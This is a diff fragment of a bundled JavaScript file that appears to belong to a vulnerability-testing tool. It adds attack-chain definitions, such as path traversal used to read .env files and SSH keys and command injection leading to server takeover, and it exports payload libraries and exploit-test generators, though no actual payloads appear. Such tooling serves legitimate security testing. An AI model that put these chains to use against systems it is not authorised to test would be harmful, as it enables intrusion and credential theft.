optionalTypes: ["ssrf", "path-traversal"],
|
|
3365
|
+
severity: "critical",
|
|
3366
|
+
description: "XXE is used to read internal files or make requests to internal services.",
|
|
3367
|
+
impact: "Internal network scanning, sensitive file access, SSRF-like attacks."
|
|
3368
|
+
},
|
|
3369
|
+
{
|
|
3370
|
+
name: "Command Injection to Full Compromise",
|
|
3371
|
+
requiredTypes: ["command-injection"],
|
|
3372
|
+
optionalTypes: [],
|
|
3373
|
+
severity: "critical",
|
|
3374
|
+
description: "Command injection leads directly to remote code execution on the server.",
|
|
3375
|
+
impact: "Complete server compromise, data theft, lateral movement."
|
|
3376
|
+
},
|
|
3377
|
+
{
|
|
3378
|
+
name: "Deserialization to RCE",
|
|
3379
|
+
requiredTypes: ["deserialization"],
|
|
3380
|
+
optionalTypes: ["command-injection"],
|
|
3381
|
+
severity: "critical",
|
|
3382
|
+
description: "Insecure deserialization allows arbitrary code execution via crafted objects.",
|
|
3383
|
+
impact: "Remote code execution, server takeover."
|
|
3384
|
+
},
|
|
3385
|
+
{
|
|
3386
|
+
name: "Path Traversal to Credential Access",
|
|
3387
|
+
requiredTypes: ["path-traversal"],
|
|
3388
|
+
optionalTypes: ["hardcoded-secrets"],
|
|
3389
|
+
severity: "high",
|
|
3390
|
+
description: "Path traversal is used to read sensitive files like .env, config, or SSH keys.",
|
|
3391
|
+
impact: "Credential theft, configuration exposure, lateral movement."
|
|
3392
|
+
},
|
|
3393
|
+
{
|
|
3394
|
+
name: "Auth Bypass to Data Breach",
|
|
3395
|
+
requiredTypes: ["missing-authentication", "idor"],
|
|
3396
|
+
optionalTypes: ["sql-injection"],
|
|
3397
|
+
severity: "critical",
|
|
3398
|
+
description: "Missing auth combined with IDOR allows access to any user's data.",
|
|
3399
|
+
impact: "Mass data exfiltration, privacy violation, regulatory impact."
|
|
3400
|
+
}
|
|
3401
|
+
];
|
|
3402
|
+
}
|
|
3403
|
+
});
|
|
3404
|
+
|
|
2201
3405
|
// src/execution/index.ts
|
|
2202
3406
|
var execution_exports = {};
|
|
2203
3407
|
__export(execution_exports, {
|
|
3408
|
+
AI_PAYLOAD_SYSTEM_PROMPT: () => AI_PAYLOAD_SYSTEM_PROMPT,
|
|
3409
|
+
AUTH_BYPASS_PAYLOADS: () => AUTH_BYPASS_PAYLOADS,
|
|
3410
|
+
COMMAND_INJECTION_PAYLOADS: () => COMMAND_INJECTION_PAYLOADS,
|
|
2204
3411
|
DEFAULT_SANDBOX_CONFIG: () => DEFAULT_SANDBOX_CONFIG,
|
|
3412
|
+
DESERIALIZATION_PAYLOADS: () => DESERIALIZATION_PAYLOADS,
|
|
2205
3413
|
ExecutionRunner: () => ExecutionRunner,
|
|
3414
|
+
IDOR_PAYLOADS: () => IDOR_PAYLOADS,
|
|
3415
|
+
KNOWN_CHAIN_PATTERNS: () => KNOWN_CHAIN_PATTERNS,
|
|
3416
|
+
MUTATION_STRATEGIES: () => MUTATION_STRATEGIES,
|
|
3417
|
+
OPEN_REDIRECT_PAYLOADS: () => OPEN_REDIRECT_PAYLOADS,
|
|
3418
|
+
PATH_TRAVERSAL_PAYLOADS: () => PATH_TRAVERSAL_PAYLOADS,
|
|
3419
|
+
SQL_INJECTION_PAYLOADS: () => SQL_INJECTION_PAYLOADS,
|
|
3420
|
+
SSRF_PAYLOADS: () => SSRF_PAYLOADS,
|
|
2206
3421
|
Sandbox: () => Sandbox,
|
|
2207
3422
|
TESTABLE_VULNERABILITIES: () => TESTABLE_VULNERABILITIES,
|
|
3423
|
+
XSS_PAYLOADS: () => XSS_PAYLOADS,
|
|
3424
|
+
XXE_PAYLOADS: () => XXE_PAYLOADS,
|
|
3425
|
+
combinePayloads: () => combinePayloads,
|
|
2208
3426
|
createRunner: () => createRunner,
|
|
2209
3427
|
createSandbox: () => createSandbox,
|
|
3428
|
+
extractTechStack: () => extractTechStack,
|
|
3429
|
+
generateChainExploitTest: () => generateChainExploitTest,
|
|
3430
|
+
generateChainReport: () => generateChainReport,
|
|
2210
3431
|
generateExploitTest: () => generateExploitTest,
|
|
3432
|
+
generatePayloadPrompt: () => generatePayloadPrompt,
|
|
3433
|
+
getFallbackPayloads: () => getFallbackPayloads,
|
|
3434
|
+
getPayloadsForCategory: () => getPayloadsForCategory,
|
|
3435
|
+
getPayloadsWithMutations: () => getPayloadsWithMutations,
|
|
3436
|
+
identifyChains: () => identifyChains,
|
|
2211
3437
|
isTestable: () => isTestable,
|
|
3438
|
+
mutatePayload: () => mutatePayload,
|
|
3439
|
+
parseAiPayloadResponse: () => parseAiPayloadResponse,
|
|
2212
3440
|
parseResults: () => parseResults
|
|
2213
3441
|
});
|
|
2214
3442
|
var init_execution = __esm({
|
|
@@ -2218,6 +3446,9 @@ var init_execution = __esm({
|
|
|
2218
3446
|
init_runner();
|
|
2219
3447
|
init_results();
|
|
2220
3448
|
init_generator();
|
|
3449
|
+
init_payloads();
|
|
3450
|
+
init_ai_payloads();
|
|
3451
|
+
init_chains();
|
|
2221
3452
|
}
|
|
2222
3453
|
});
|
|
2223
3454
|
function App({ results, loading, error }) {
|